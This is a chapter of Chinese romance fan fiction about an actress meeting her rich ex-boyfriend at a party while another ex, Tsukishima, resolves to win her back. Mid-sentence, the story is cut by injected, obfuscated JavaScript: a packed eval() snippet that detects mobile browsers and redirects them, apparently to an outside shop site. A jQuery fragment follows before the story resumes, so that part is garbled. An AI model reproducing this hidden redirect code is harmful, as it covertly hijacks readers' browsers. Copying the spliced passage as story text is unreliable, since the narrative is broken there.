51.51.
作品:《甩了月岛以后》 回到东京的第二天,行业酒会。
男人们吹嘘股票金融、对着国际形势夸夸其谈。女人们不经意间露出脖颈上的高珠,在听到有趣的事情时捂嘴笑开,恰好能看到那颗比鸽子蛋还大的宝石戒指。
“爱丽莎,今天谢谢你邀请我来。”
衣香鬓影之间,北里悠花举起香槟杯、和身旁的灰羽爱丽莎碰了碰。
她今天穿着黑色礼服裙,仪态很好。挺直脊背、微抬下巴,一言一行都被伪装成了最标准的名媛教科书,好像下一秒就能刷爆黑卡。
倒是灰羽爱丽莎看到北里悠花如常的神色,有些紧张,担心地开口:“悠花,你真的不要紧吧?”
北里悠花知道她指的是什么,摇了摇头,视线停留在远处那个正被众星捧月的身影上。
对方还是一如既往的骚包。
北里悠花看着他孔雀开屏的样子,毫无波澜道:
“我们都分手一年多了,而且、他也不是那种会斤斤计较的性格。”
那人正是北里悠花的上一任公子哥前男友——迹部景吾。
他是出身于顶级财阀家族的名门之后、英国留学回来的高级海归。
两人交往之后,北里悠花才真正认识到那个虽然同在东京,却完全不同的“另一个世界”。
他们的恋爱令人心动,却如烟花般短暂。
也是相遇在和今天一样的某场高端酒会上。
无数名媛淑女都对迹部景吾芳心暗许,可对方上位者的气场实在过于强大,或是碍于面子和礼仪,酒会过半、竟然没有一个人敢凑上去攀谈。
但北里悠花不同。
她一心只想和有钱人谈恋爱,早就是业内人尽皆知的恋爱女王。而且如果她没猜错,这位曾经毕业于冰帝学园的迹部君,就是夏川西奈曾经和她提过的暗恋对象。
就当是自己的小小报复吧。
于是北里悠花当时就这样在众多目光之下,款款朝迹部景吾走了过去。
她拿着高脚杯笑意盈盈:
“我是北里悠花,可以认识一下吗?”
北里悠花至今也不知道当时迹部景吾究竟为什么会答应她,但他们也确实就这样开始了恋爱。
这位大少爷无比张扬高调,是个非常合格的恋人。
他们在可以看得到东京塔的总统套房拥吻、背景就是专门为她点燃的绚烂烟花;无数sales卑躬屈膝,送来流水般的奢侈品;他总是非常忙碌,但每次约会,红玫瑰和礼物从来都不会缺席。
北里悠花在迹部景吾面前扮演乖巧听话的懂事女友,可那从来不是真正的她。
而迹部景吾也大概不需要一个没有感情的假人,在恋爱第三个月时发现了北里悠花的心不在焉,果断提出了分手。
她就这样被甩了。
虽然三流杂志都把她描写成了“妄想攀高枝嫁入豪门、反被财阀家扫地出门”的凄惨女明星,可北里悠花和迹部景吾确实是和平分手。
北里悠花在这段关系中收获很多,所以尽管自己是被分手的一方,也依旧对迹部景吾心存感激。
她确实因为他,获得了更多的关注和资源。
这时,灰羽爱丽莎拍了拍北里悠花:“我没看错吧,他好像朝我们走过来了。”
“……你没看错。”
北里悠花抬眼,与迹部景吾对视。
她从容不迫地朝对方点点头:“好久不见了,迹部君。”
迹部景吾很有礼貌。他在她面前两步远处停下、距离拿捏得恰到好处,身上的意大利手工西装看起来贵得可以买辆代步车。
“北里。”他叫她,声音富有磁性,“好久不见。”
空气有短暂的凝滞。
灰羽爱丽莎的目光在两人之间小心翼翼游移。
诶,好奇怪?
这两人的关系好像也没有传说中的那么差。
周围有知道他们八卦的人在窃窃私语,北里悠花有些头疼:“明天我们大概又要一起上娱乐版头条了。”
迹部景吾忽然极淡地勾了一下唇角:“看来你这一年确实过得不错,和我说话的语气都比从前自在很多。”
北里悠花耸了耸肩,露出一个笑来:“毕竟身份不一样了嘛。”
分手了,自然没有再扮演乖巧女友的必要。
“也是。”迹部景吾一副看穿她心思的样子:“为了铃木导演来的?”
“果然什么都不瞒不过你。”
“最近几天集团在拍宣传片,他是负责的总监督。酒会结束后我和他会简单见个面,你要一起吗?”
他没有展露多余的感情,纯粹是卖北里悠花一个人情。
北里悠花自然不会推脱,送上门的好事没有拒绝的道理:“那我就恭敬不如从命了。”
得到肯定的回复,迹部景吾便转身,走向另一群等待他的人。
灰羽爱丽莎这才长舒一口气,凑近北里悠花,压低声音:“吓死我了……不愧是迹部景吾,感觉好有压迫感!”
北里悠花摇摇头,喝了口冰凉的香槟:“最近我的前男友怎么在扎堆出现。”
“那我们悠花大人是更心仪哪一位呀?”
“这还用问嘛?”北里悠花看她一眼,“和迹部景吾这种人在一起,就要做好他永远不会低头的准备。”
“我在他面前,约会要穿上档次的衣服、时时刻刻端着优雅的姿态、表现得像个贵族小姐。虽然我知道他并不需要,可我和他在一起时,总会下意识地这样做。”
“和迹部分开后我才发现,比起这个人,原来我更喜欢的是他的光环。”
灰羽爱丽莎若有所思地点点头,随即又好奇道:“不过酒会之后再见他,你不会尴尬吗?毕竟你们是……”
“毕竟我们是前任的关系?”北里悠花坦然接过话头,“在演艺圈,‘关系’是最值钱的东西。比起尴尬,他愿意今天给我这个人情、我就已经很感谢了。我们的分开没什么矛盾,只是两个成年人发现了彼此的不合适罢了。”
她的目光再次投向远处被众人环绕的迹部景吾。他正与人交谈,偶尔露出标志性的、带着绝对自信的笑容。
北里悠花将杯中剩余的酒一饮而尽,动作干脆利落,“我只要非我不可的人。”
*
酒会临近尾声。
身着得体西装的侍者悄然来到北里悠花身侧,恭敬低语道:“北里小姐,迹部先生请您移步二楼的会客间。铃木导演大约十五分钟后到。”
北里悠花对灰羽爱丽莎使了个“放心”的眼色,便跟着他离开喧闹的主厅。
细高跟踩在厚重的地毯上,廊灯的光晕柔和。推开休息室的门时,迹部景吾已经在了,他脱掉了西装外套,看上去随意不少。
听到开门声,他转过身。
北里悠花选了他侧面的单人沙发坐下,很快,侍者送来精致的茶点,又无声退下。
相对无言,北里悠花率先打破僵局:“谢谢你给我这个机会,迹部君。”
迹部景吾瞥了她一眼:“不必。铃木导演对演员要求苛刻,但眼光不错,成功与否在你自己。”
他说话依旧是这样的风格,只是陈述事实、却将最关键的助力轻描淡写地带过。
北里悠花笑了笑,没再继续客套。过多的感谢反而显得矫情。
“你最近看起来很忙。”
“我一直很忙。”
“也是,毕竟我们谈恋爱的时侯你连周末都要去公司。”
很神奇,他们竟然能坐在一个空间闲聊。
迹部景吾笑了声:“你还真是松弛了不少。”
“确实。”她爽快承认,对上他的眼睛,“演戏很累。不过和你在一起的时候,我可是很认真的。”
“本大爷从来没要求过你扮演谁。”
北里悠花一怔。
确实,她那些小心翼翼,或许是面对陌生却耀眼的世界时生出的自卑。
“是我自己,”她缓缓说道,这次没有掩饰,“没能做到在你身边泰然处之。”
迹部景吾听了,没有回应。
他的目光投向窗外,侧脸在光影下显得轮廓分明。过了一会儿,门外传来礼貌的敲门声。
铃木导演到了。
迹部景吾站起身,瞬间恢复了那个掌控一切的东道主姿态。他看向北里悠花,最后说了一句:“那就好好表现。”
北里悠花也站了起来,璀璨一笑。
“当然。”
她很清楚,这大概是她和迹部景吾最后一次单独见面了。
*
仙台蛙,休息室。
“你今天怎么还不走?”黄金川贯至套上卫衣,看了眼训练结束还不回家的月岛萤有些奇怪。
“我为什么要走?”月岛萤不紧不慢地换掉上衣,反问道。
“上周不是你自
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17042128|186292||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
己一训练结束就急着回家吗?我头还没回你人已经不见了,又不是去约会你走那么着急干什么。”
月岛萤拿上包、关上柜门:“……管好你自己。”
颇有点恼羞成怒的意思。
月岛萤这三天过得不好不坏,回到了北里悠花来之前的生活状态。上班、下班、训练,偶尔聚餐,再回到那个冷冰冰的家里。
习惯是个可怕的东西,他总顺路去买北里悠花爱吃的甜品、想看到她笑得眯起来的眼睛。
于是在北里悠花离开他的第三天,月岛萤终于想明白了三件事。
一、原来这种感情,就是想念。
二、无法逃避,他非北里悠花不可。
三、他彻底认输了。
“对了,明天开始我会休假。”
“哦,旅游吗?”
“算是吧,去东京。”
“……诶?”
月岛萤没再管疑惑的黄金川贯至,很快离开训练场地、拿出手机发消息。
他依旧在每天给北里悠花汇报日常,像个AI写流水账,尽管他们的聊天记录停留在他单方面的输出上。
Tsuki:
「训练结束了,晚上和山口去居酒屋。」
*
月岛萤坐到老位子,沉默地点了杯柠檬气泡水,在居酒屋隔壁桌的劝酒声中显得格格不入。
山口忠倒要了杯啤酒,一看月岛萤这幅低气压的死样子,就知道是和北里悠花有关,顿时心中生出一种“才二十四岁就当上了爱操心家长”的惆怅来。
他喝了口加冰的啤酒:“阿月,你和北里同学不会还没和好吧?”
月岛萤“嗯”了声。
“我昨天还看到北里同学和那个迹部财阀继承人的八卦推文了,你不去问问北里同学吗?”
“……什么八卦?”
“你竟然不知道???”
山口忠无语地拿出手机,划了几下,将屏幕转向月岛萤,“就是昨晚,有人在酒会上拍到北里同学和迹部景吾在会场角落单独说话……标题写得很夸张,什么‘旧情复燃’、‘豪门再续前缘’之类的词都用上了。”
“迹部景吾好像是北里同学的前男友吧,我以前也刷到过他们的绯闻。”
而另一位前男友、月岛萤的目光落在手机屏幕上。
照片里的北里悠花穿着黑色礼服,肩颈线条优美,正微微仰头看着面前高大的男人。
两人之间隔着礼貌的距离,可拍摄角度和光影却营造出一种难以言喻的暧昧。
她果然是只喜欢金发吧?
他是金发、以前那个黄濑凉太是金发,这个迹部景吾也是金发。
好碍眼。
一年多以前月岛萤也是这样,看着北里悠花和迹部景吾的八卦报道,嫉妒得不像自己。
他会故意关闭手机的新闻推送,屏蔽一切搜索关键词,只是不想看到她和别人恩爱的模样。
他不会让一切重蹈覆辙。
“无聊的八卦。”
月岛萤把杯子放回桌面,发出轻微的磕碰声。
“你就一点不在意?”
“我怎么可能比得上财阀继承人。只不过……”月岛萤捏紧杯子,凉意渗进指尖。他的声音有点轻,但山口忠听清楚了。
他说的是:
“我怎么可能比得上财阀继承人,只不过打算去东京把她抢回来。”
跟和白鸟泽比赛时是一模一样的欠扁。
总算开窍了!
山口忠十分欣慰,继续添油加醋。
“在我看来,北里同学很喜欢你。否则怎么会专门回来找你?她还来找过我,就是想问你的近况。”
月岛萤当然知道北里悠花喜欢的是他。
所以才能看到这篇八卦时,克制住自己没有骂脏话。
——“叮咚”。
山口忠的手机推送又闪了下,他随手点开看了眼,却越看越神情复杂、不时还抬起头看下月岛萤,一脸一言难尽:
“阿月,北里同学高中的时候是不是有个IG小号?”
月岛萤奇怪地问:“你怎么知道?”
知道这个账号的应该只有他和北里悠花两个人才对。
山口忠把手机举到他面前,上面的标题很是瞩目。
——Hot!《kswlkswl,我好像考古到了某人气女演员高中时期的IG小号》。

